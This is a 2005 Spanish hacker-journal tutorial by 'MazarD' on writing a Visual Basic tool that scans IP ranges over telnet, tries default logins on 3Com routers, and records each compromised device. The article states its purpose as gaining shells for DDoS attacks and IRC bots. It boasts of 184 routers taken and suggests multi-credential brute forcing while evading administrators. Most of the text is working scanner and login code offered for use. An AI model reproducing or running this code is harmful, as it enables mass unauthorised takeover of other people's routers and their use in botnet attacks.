~= Owneando Shells Con Login por Defecto by MazarD - Disidents Journal 8 =~ -+-| DisidentS Hack Journal #8 |-+- ______________________________________________________________________ | | | -+- Titulo_____: Owneando Shells Con Login por Defecto | | -+- Autor______: MazarD | | -+- E-Mail_____: mazard [arroba] gmail [punto] com | | -+- Team_______: DisidentS España - http://www.disidents.es | |______________________________________________________________________| "la potencia sin control..no sirve de nada" >>------------------------------------------------------------------------<< ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- .==========================================================================. |===========~ INDICE ~====================================================== |=========================================================================== |=~ 1- Prólogo | |=~ 2- Introducción | |=~ 3- Breve descripción del control listbox | |=~ 4- Breve descripción de la función instr | |=~ 5- Algoritmo de recorrido de rangos | |=~ 6- Matriz de controles winsock | |=~ 7- Implementando el algoritmo final | |=~ 8- Despedida | |=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=. ======================================================~ INDICE ~============ ============================================================================ .==========================================================================. |===========~ 1- Prólogo. ~|================================================ |=========================================================================== En este tuto vamos a aprender que la estupidez humana no tiene límites, empezando por los usuarios y administradores que instalan el router o modem y no se molestan en configurarlos, si ya puedo entrar en www.warras.ws para que hacer nada mas? Y terminando por esos programadores que no tienen la decencia de meter un user/pass por defecto aleatorio. Tan dificil es adjuntar con el modem uno trozo de papel (aunque sea de water para k no aumenten los costes de sus "humildes" bolsillos) con el aleatorio que les corresponde? o todavia mas fácil, obligar a cambiar el password al instalar el modem? gràcias a esto sólo consiguen que un lammer como yo programe algo tan simple como esto demostrando una vez mas la inseguridad de la red de redes por la estupidez de algunos. Sin ir más lejos con el testeo de mi prog he conseguido nada menos que 184 shells en 5 rangos de dos octetos cada uno con un sólo user-pass, repasando los rangos con logins distintos no me extrañaria que se doblara la cantidad. Dicho esto vamos a lo que interesa: PROGRAMAR, SEA LO QUE SEA, SEA QUANDO SEA. ----------------------------------------------------------------------------- .==========================================================================. |===========~ 2- Introducción. ~|=========================================== |=========================================================================== Para los mas novatos una shell de router o módem se utiliza para configurarlo remotamente proporcionando algunos comandos muy útiles como ping, telnet... Para que quiero esto? para DDOS, para ircbots,..., en resumen para tener digamos muchos ordenadores a tu disposición y hacer con ellos lo que te dé la gana. En todo el tutorial vamos a trabajar con routers 3com (típico no? :p), luego puedes ampliarlo para hacerlo más genérico o para varios tipos de router (por no hacerlo demasiado extenso) Vamos a programar nuestro owner en visual basic y el control winsock ya que el uso de sockets en vb es muy intuitivo, si tampoco sabes como funciona leete mi tuto sobre él (es el mejor xd) Si no te quedan claros los puntos 3 y 4 va a ser que no tienes puta idea de vb pero puedes entrar en www.msdn.microsoft.com para una explicación mas detallada. Sobre las shells de 3com solo necesitamos saber que al conectar correctamente nos aparecerá el mensaje 3Com-DSL> ----------------------------------------------------------------------------- .==========================================================================. |===========~ 3- Breve descripción del control listbox. ~|================== |=========================================================================== lstshells.listcount 'nos devuelve el número de elementos del list lstshells.list(indice) 'devuelve o establece una cadena con el valor de la posicion indice del list (de 0 a lstshells.listcount-1) lstshells.additem cadena añade un elemento a la última posición del list ----------------------------------------------------------------------------- .==========================================================================. |===========~ 4- Breve descripción de la función instr. ~|================== |=========================================================================== Bueno, esta es una de las funciones básicas de tratamiento de cadenas que necesitaremos en nuestro owner. Lo que hace es devolver la posición en la que se encuentra el primer carácter de una cadena contenida en otra. Devuelve 0 si la subcadena no existe en la cadena. La sintaxi es la siguiente: posición=instr([posinicial],cadena,cadenaabuscar,tipodebusqueda) El primer parámetro es la posición en la que empezará a buscar y el último parametro establece el tipo de busqueda, en nuestro caso utilizaremos el tipo de busqueda binario (1) para que no sea case sensitive. ej: dim cadena as string dim posicion as integer cadena="si avanzo sigueme, si me detengo empujame, si retrozedo matame!" posicion=instr(1,cadena,"SiGuEme",1) msgbox cstr(posicion) 'esto nos mostrará 11 ----------------------------------------------------------------------------- .==========================================================================. |===========~ 5- Algoritmo de recorrido de rangos. ~|======================= |=========================================================================== Para empezar necesitaremos un pequeño algoritmo que nos recorra todo el rango de ips que queremos escanear, se supone que tenemos 2 arrays (ipinicial y ipfinal) de 4 elementos cada una (uno para cada octeto de la ip) con sus valores, y una booleana 'alto' para detener el escaneo. dim Ipinicial(3) as byte dim Ipfinal(3) as byte alto = False N = 0 Part = 0 For i = Ipinicial(0) To IpFinal(0) For j = Ipinicial(1) To IpFinal(1) For k = Ipinicial(2) To IpFinal(2) For l = Ipinicial(3) To IpFinal(3) 'Aquí meteremos todo el codigo sin modularizar para hacerlo 'lo mas eficiente posible 'estableciendo i,j,k,l a sus valores finales detendremos el 'escaneo doevents next l next k next j next i El doevents lo que hace es interrumpir el hilo de la ejecución para permitir que se produzcan otros eventos en la aplicación, para que no se nos quede el programa colgao vamos. ----------------------------------------------------------------------------- .==========================================================================. |===========~ 6- Matriz de controles winsock. ~|============================ |=========================================================================== Para escanear las ips necesitaremos un array de sockets, cada uno se conectará a una ip. La mayoria de controles en vb disponen de la propiedad tag, la qual podriamos considerar una variable del propio control. Nosotros la utilizaremos para guardar el estado del socket estableciendo los siguientes valores: 0->Conectando/Cerrado 1->Conectado y enviado User/Pass 2->Shell con user/pass por defecto Para cargar un socket: load socket(Índice) Para conocer el índice del último elemento del array: socket.ubound Para descargar el socket: unload socket(Índice) Para conectar: socket(Índice).connect ip,puerto Para cerrar la conexión: socket(Índice).close Es importante saber que podemos tener aproximadamente 35500 sockets cargados, aunque de todos modos tener tantos ralentiza extremadamente el escaner por lo que en nuestro programa será una variable que elegirá el usuario dependiendo del rango que vaya a escanear. ----------------------------------------------------------------------------- .==========================================================================. |===========~ 7- Implementando el algoritmo final. ~|======================= |=========================================================================== Ahora es quando tenemos 4 posibilidades: 1-Que al llegar al máximo de sockets abiertos se descarguen todos: És la posibilidad más rápida y sencilla de implementar pero aparecen varios problemas. En primer lugar quando tenemos muchos sockets abiertos se ralentiza el escaner y lo que es mas importante quando empieze a descargar sockets, descargará tambien muchos que todavia no han recibido respuesta. 2-Que cada socket tenga su timeout: O implementando un array de timers, o un timer que recorra todos los sockets comprovando su tiempo de inicio y el tiempo actual o en el propio algoritmo de escaneo otro bucle para comprovar si se ha producido el timeout de cada uno de los sockets. Cualquiera de estas implementaciones resultará en ralentizar mucho nuestro escaner, pero claro, también será preciso. 3-Añadir una variable de máximo de sockets abiertos y al llegar a ese punto alternar las mitades a descargar. De este modo mientras se descarga la 1a mitad de sockets le da tiempo a la otra mitad a responder. Será más seguro no perder respuestas que el primer método y más rápido que el segundo, el problema es que depende demasiado del valor maximo de sockets y la velocidad de la conexión. 4-Al llegar al máximo de sockets esperar respuesta durante cierto tiempo y al llegar a él descargar todos los sockets. De este modo la velocidad del escaner y el tiempo de espera de respuestas es adaptable a la velocidad de conexión del usuario y al tiempo de respuesta del rango escaneado. El inconveniente es que lógicamente no tendrán todos los sockets el mismo timeout. Hay muchas más posibilidades pero estas 4 són las más viables, en este articulo implementaremos la 4ª Dim Cargant As Boolean Dim Mitad As Integer On Error GoTo Final 'si se produce un error IpInicial(0) = TxtIni1.Text 'Guardamos el contenido de los textbox en variables IpInicial(1) = TxtIni2.Text 'para hacer más rápido el programa IpInicial(2) = TxtIni3.Text IpInicial(3) = txtIni4.Text IpFinal(0) = txtFi1.Text IpFinal(1) = txtFi2.Text IpFinal(2) = txtFi3.Text IpFinal(3) = txtFi4.Text Para = False N = 0 'Esta es una variable pública que contendrá el máximo de sockets 'abiertos Cargant = True For i = IpInicial(0) To IpFinal(0) For j = IpInicial(1) To IpFinal(1) For k = IpInicial(2) To IpFinal(2) For l = IpInicial(3) To IpFinal(3) If N = Descarga Then 'si hemos llegado al máximo de 'sockets abiertos TmrTimeOut.Enabled = True 'habilitamos el timer de timeout 'El timer de timeout se encargará de inicializar la variable N 'a 0 durante este tiempo se mostrará Timing Out en un label y 'y se esperará Do While N = Descarga LblIpActual = "Timing Out" DoEvents Loop Cargant = False 'Como hemos llegado al máximo de sockets ya no 'se volverán a cargar For d = 1 To SckOwner.UBound 'Cerramos todos los sockets SckOwner(d).Close Next d End If N = N + 1 'Incrementamos el número de sockets abiertos If Cargant Then Load SckOwner(N) 'Si no hemos llegado al máximo de sockets 'en ningún momento hay que ir cargandolos SckOwner(N).Tag = 0 'Usaremos el tag para establecer el estado de 'cada socket SckOwner(N).Connect Trim(Str(i)) & "." & Trim(Str(j)) & "." & Trim(Str(k)) & "." & Trim(Str(l)), Port LblIpActual.Caption = Trim(Str(i)) & "." & Trim(Str(j)) & "." & Trim(Str(k)) & "." & Trim(Str(l)) 'Conectamos a la ip actual por el puerto 23 (telnet) DoEvents If Para Then GoTo Final 'Si se ha establecido Para a true se salta al final Next l Next k Next j Next i Exit Sub Final: For i = 1 To SckOwner.UBound 'Cerramos y descargamos todos los sockets SckOwner(i).Close Unload SckOwner(i) Next i LblIpActual.Caption = "255.255.255.255" 'Si el usuario no ha seleccionado detener el scan, se ha llegado aquí debido al onerror If Not Para Then MsgBox "Se ha producido un error inesperado.", vbExclamation, "Error!" end sub Private Sub SckOwner_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim Buffer As String If SckOwner(Index).State = sckConnected Then 'Si todavía estamos conectados SckOwner(Index).GetData Buffer 'Recogemos los datos txtOutput.Text = txtOutput.Text & Buffer & vbCrLf 'Mostramos en un textbox cómo txtOutput.SelStart = Len(txtOutput.Text) 'va trabajando la app If SckOwner(Index).Tag = 0 Then 'Si esta recién conectado enviamos user y password If User <> "" Then SckOwner(Index).SendData User & vbCrLf 'Por si sólo hemos 'introducido password SckOwner(Index).SendData Pass & vbCrLf SckOwner(Index).Tag = 1 'Estado enviado user y password End If If SckOwner(Index).Tag = 1 And InStr(1, Buffer, Prompt, 1) <> 0 Then 'Si se ha enviado user/password y se ha recibido el mensaje del prompt 'Añadimos ip, user y pass a la lista y cambiamos el estado a OWNEADA SckOwner(Index).Tag = 2 lstOwned.AddItem SckOwner(Index).RemoteHost & ":" & User & ":" & Pass & ":" End If End If End Sub Además en el evento error del array de sockets añadiremos el siguiente codigo para ahorrar recursos if socket(Index).state<>sckclosed then socket(Index).close En el timer timeout simplemente añadiremos un N=0 para finalizar la espera de timeout y deshabilitaremos el timer, el textbox de timeout lo único que hará será modificar el interval. ----------------------------------------------------------------------------- .==========================================================================. |===========~ 8- Despedida. ~|============================================== |=========================================================================== Como hemos visto hay muy poco codigo y simple. Para hacerlo un poco más genérico podriamos añadir un array con varios prompts de shells y comprobarlos en el data_arrival para ownear varios tipos de shell, o añadir otro array y bucle en el interior del algoritmo de escaneo para probar varios user/password en la misma ip, aunque esto último puede ser algo arriesgado ya que un administrador no se preocupará por un intento de login incorrecto, pero si són 200 intentos con logins distintos? También tienes la fuente del owner con todo lo anterior implementado. Espero que te haya gustado el artículo, si tienes alguna duda puedes enviarme un e-mail. ___ ___ _________ _______ ______ |_ \ / _| /\ /_____ _/ /\ |_ __ | |_ __ \ | \ / | / \ / / / \ | |__| | | | \ \ ____|_|\ \/ /|_|____/ /__\_______/_/_____/__\ \___|__ __|__|_|___\ \___ \_______\ /_______/ /__________//___________\ \_____\ \__________/ /__/ _| | \/ | |__/ /____\ \ _/ /_____/ /____\ \_| | \ \___| |__/ / |___| |___/__________\/________/__________\__| \___|______/ 11 No existe la verdad absoluta, cada uno elige su camino. MazarD [arroba] gmail [punto] com ----------------------------------------------------------------------------- DisidentS Hacker Team 2005 (c). ---------------------------------------------------------------------------- Mail del Team: disidents@yahoo.es ---------------------------------------------------------------------------- 0 X0 0X S